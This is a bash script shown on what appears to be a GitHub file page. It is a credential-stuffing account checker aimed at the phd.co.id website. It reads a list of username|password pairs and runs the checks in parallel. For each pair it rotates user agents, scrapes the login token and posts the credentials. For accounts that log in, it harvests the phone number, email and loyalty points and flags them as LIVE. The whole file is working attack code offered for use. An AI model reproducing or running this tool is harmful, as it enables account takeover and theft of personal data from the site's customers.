-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathphd.sh
More file actions
71 lines (57 loc) · 2.36 KB
/
phd.sh
File metadata and controls
71 lines (57 loc) · 2.36 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/bin/bash
green="\033[0;32m"
reset="\033[0m"
function cleanup {
rm y_* cok.log 2> /dev/null
}
trap cleanup SIGINT
function agent {
agent=$(shuf -n 1 "agent_.txt")
}
function check_accounts {
dnck=$(echo $x | cut -d "|" -f 1)
dnck2=$(echo $x | cut -d "|" -f 2)
none="y_log_$RANDOM"
req=$(curl -X GET -s "https://www.phd.co.id/en/users/login/1" \
-H "Host: www.phd.co.id" -A "$agent" --compressed -k --max-time 5 --cookie-jar "$none" | uniq)
grb=$(echo -e "$req" | grep -Po "name=\"my_token\" value=\"(.*?)\"" | grep -Po '(?<=value=)[a-z,0-9,\"]+' | tr -d '"')
req_ses=$(curl -X POST "https://www.phd.co.id/en/users/login/1" \
-H "Host: www.phd.co.id" -A "$agent" --compressed --silent \
--data-urlencode "return_url=https://www.phd.co.id/en/users/welcome" \
--data-urlencode "my_token=$grb" \
--data-urlencode "username=$dnck" \
--data-urlencode "password=$dnck2" \
--data-urlencode "remember=1" -k --max-time 5 -s -b "$none" --cookie-jar "cok.log" | uniq)
# login attempt was successful
if [[ $req_ses =~ "logged in successfully" ]]; then
# account details
accounts=$(curl -X GET 'https://www.phd.co.id/en/accounts' \
-H "Host: www.phd.co.id" -A "$agent" --compressed --max-time 5 -s -b "cok.log")
# phone number, email, points
nomers=$(echo -e "$accounts" | grep -Po 'telephone">(.*?)</li>' | sed -e 's/.*[^0-9]\([0-9]\+\)[^0-9]*/\1/')
emailsz=$(echo -e "$accounts" | grep -Po '([-a-zA-Z0-9]+@\w+\.\w+)')
points=$(echo -e "$accounts" | grep -Eo "Poin: [[:digit:]]*" | cut -d ":" -f 2)
home=$(echo -e "$accounts" | grep -Po 'home":"(.*?)"' | cut -d ":" -f 2)
# Check if the account is active
if [[ $home =~ "1" ]]; then
printf "${green}[LIVE]: Points: %s, Email: %s, Username: %s, Phone Number: %s\n${reset}" "$points" "$emailsz" "$dnck2" "$nomers"
else
printf "${RD}[DIE]: Username: %s, Password: %s\n${reset}" "$dnck" "$dnck2"
fi
fi
}
RD='\033[91m'; # Red
NT='\033[97m'; # Netral
read -p "file: " lst
# Check if the input file exists
if [ ! -f "$lst" ]; then
printf "${RD}[ERROR]: File not found...\n${reset}"
exit 0
fi
# Start checking accounts in parallel
(
for x in $(more "$lst"); do
check_accounts &
done
)
wait